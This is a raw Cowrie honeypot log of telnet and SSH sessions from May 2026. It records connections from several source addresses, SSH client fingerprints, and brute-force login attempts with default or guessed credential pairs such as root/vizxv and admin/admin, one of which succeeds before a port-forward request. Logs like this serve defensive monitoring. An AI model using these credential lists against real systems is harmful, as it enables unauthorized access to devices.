{"eventid":"cowrie.session.closed","duration":7.907688856124878,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:36.518676Z","src_ip":"176.65.139.118","session":"056ef5ab2983","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":36686,"dst_ip":"159.203.135.109","dst_port":23,"session":"d62c800536b0","protocol":"telnet","message":"New connection: 176.65.139.118:36686 (159.203.135.109:23) [session: d62c800536b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:36.565155Z"}
{"eventid":"cowrie.session.closed","duration":2.42288875579834,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:38.987922Z","src_ip":"176.65.139.118","session":"d62c800536b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":42038,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ce744a40149","protocol":"telnet","message":"New connection: 176.65.139.118:42038 (159.203.135.109:23) [session: 1ce744a40149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:39.066714Z"}
{"eventid":"cowrie.session.closed","duration":50.36688232421875,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:40.979454Z","src_ip":"152.42.224.71","session":"a2fa6d2039a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.383340835571289,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:54.449956Z","src_ip":"176.65.139.118","session":"1ce744a40149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":49894,"dst_ip":"159.203.135.109","dst_port":23,"session":"35888c46412f","protocol":"telnet","message":"New connection: 176.65.139.118:49894 (159.203.135.109:23) [session: 35888c46412f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:54.603117Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50002,"dst_ip":"10.17.0.5","dst_port":23,"session":"5206e9f5b239","protocol":"telnet","message":"New connection: 152.42.224.71:50002 (10.17.0.5:23) [session: 5206e9f5b239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:55.141917Z"}
{"eventid":"cowrie.session.closed","duration":2.354707956314087,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:56.957547Z","src_ip":"176.65.139.118","session":"35888c46412f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":50500,"dst_ip":"159.203.135.109","dst_port":23,"session":"931ca8095b52","protocol":"telnet","message":"New connection: 176.65.139.118:50500 (159.203.135.109:23) [session: 931ca8095b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:58.063433Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53534,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b27be4fc5e","protocol":"telnet","message":"New connection: 152.42.224.71:53534 (10.17.0.5:23) [session: 41b27be4fc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:59.120331Z"}
{"eventid":"cowrie.session.closed","duration":10.396029233932495,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:08.459369Z","src_ip":"176.65.139.118","session":"931ca8095b52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":54178,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2d5222ae288","protocol":"telnet","message":"New connection: 176.65.139.118:54178 (159.203.135.109:23) [session: c2d5222ae288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:08.596720Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vizxv","message":"login attempt [root/vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:14.103310Z","src_ip":"176.65.139.118","session":"c2d5222ae288","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.13178300857544,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:17.728370Z","src_ip":"176.65.139.118","session":"c2d5222ae288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33148,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcf92aaf710b","protocol":"telnet","message":"New connection: 176.65.139.118:33148 (159.203.135.109:23) [session: bcf92aaf710b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:17.912030Z"}
{"eventid":"cowrie.session.closed","duration":104.50072145462036,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:20.126956Z","src_ip":"152.42.224.71","session":"0b58bbc8a1dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37128,"dst_ip":"10.17.0.5","dst_port":23,"session":"f548c34875ec","protocol":"telnet","message":"New connection: 152.42.224.71:37128 (10.17.0.5:23) [session: f548c34875ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:25.933969Z"}
{"eventid":"cowrie.session.closed","duration":32.19744610786438,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:31.317660Z","src_ip":"152.42.224.71","session":"41b27be4fc5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.96603775024414,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:33.107841Z","src_ip":"152.42.224.71","session":"5206e9f5b239","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8622,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dc27b95ebd3","protocol":"ssh","message":"New connection: 87.251.64.176:8622 (10.17.0.5:22) [session: 1dc27b95ebd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:38.272278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:38.276850Z","src_ip":"87.251.64.176","session":"1dc27b95ebd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:38.372944Z","src_ip":"87.251.64.176","session":"1dc27b95ebd3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:38.670646Z","src_ip":"87.251.64.176","session":"1dc27b95ebd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:38.776059Z","session":"1dc27b95ebd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:38.874333Z","src_ip":"87.251.64.176","session":"1dc27b95ebd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:38.973895Z","src_ip":"87.251.64.176","session":"1dc27b95ebd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":46172,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d70a774b446","protocol":"ssh","message":"New connection: 80.94.92.171:46172 (159.203.135.109:22) [session: 1d70a774b446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:54.190378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:54.479751Z","src_ip":"80.94.92.171","session":"1d70a774b446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:54.483721Z","src_ip":"80.94.92.171","session":"1d70a774b446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:56.143897Z","src_ip":"80.94.92.171","session":"1d70a774b446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:53:57.554074Z","src_ip":"80.94.92.171","session":"1d70a774b446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":33672,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a6e8349c234","protocol":"ssh","message":"New connection: 109.172.54.111:33672 (159.203.135.109:22) [session: 1a6e8349c234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:04.085701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:04.094038Z","src_ip":"109.172.54.111","session":"1a6e8349c234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:04.195970Z","src_ip":"109.172.54.111","session":"1a6e8349c234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:04.499605Z","src_ip":"109.172.54.111","session":"1a6e8349c234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:05.608912Z","src_ip":"109.172.54.111","session":"1a6e8349c234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33732,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b6d762a7a1d","protocol":"telnet","message":"New connection: 152.42.224.71:33732 (10.17.0.5:23) [session: 5b6d762a7a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:06.131284Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59958,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed8347d44092","protocol":"ssh","message":"New connection: 109.237.96.109:59958 (159.203.135.109:22) [session: ed8347d44092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:08.150757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:08.156252Z","src_ip":"109.237.96.109","session":"ed8347d44092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:08.258529Z","src_ip":"109.237.96.109","session":"ed8347d44092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"heckfy","message":"login attempt [root/heckfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:08.545815Z","src_ip":"109.237.96.109","session":"ed8347d44092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:09.645132Z","src_ip":"109.237.96.109","session":"ed8347d44092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.985032081604004,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:10.918851Z","src_ip":"152.42.224.71","session":"f548c34875ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":49417,"dst_ip":"159.203.135.109","dst_port":22,"session":"48d644f21bf3","protocol":"ssh","message":"New connection: 213.209.159.56:49417 (159.203.135.109:22) [session: 48d644f21bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:14.802103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:14.813427Z","src_ip":"213.209.159.56","session":"48d644f21bf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:14.898108Z","src_ip":"213.209.159.56","session":"48d644f21bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion","message":"login attempt [marion/marion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:15.311248Z","src_ip":"213.209.159.56","session":"48d644f21bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion1","message":"login attempt [marion/marion1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:16.399313Z","src_ip":"213.209.159.56","session":"48d644f21bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion123","message":"login attempt [marion/marion123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:17.487587Z","src_ip":"213.209.159.56","session":"48d644f21bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion1234","message":"login attempt [marion/marion1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:18.576229Z","src_ip":"213.209.159.56","session":"48d644f21bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marion","password":"marion12345","message":"login attempt [marion/marion12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:19.663236Z","src_ip":"213.209.159.56","session":"48d644f21bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:20.750399Z","src_ip":"213.209.159.56","session":"48d644f21bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.155312299728394,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:21.286507Z","src_ip":"152.42.224.71","session":"5b6d762a7a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.163","src_port":50520,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7692c08909a","protocol":"ssh","message":"New connection: 198.20.127.163:50520 (10.17.0.5:22) [session: c7692c08909a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:27.998781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:54:28.003983Z","src_ip":"198.20.127.163","session":"c7692c08909a","protocol":"ssh"}
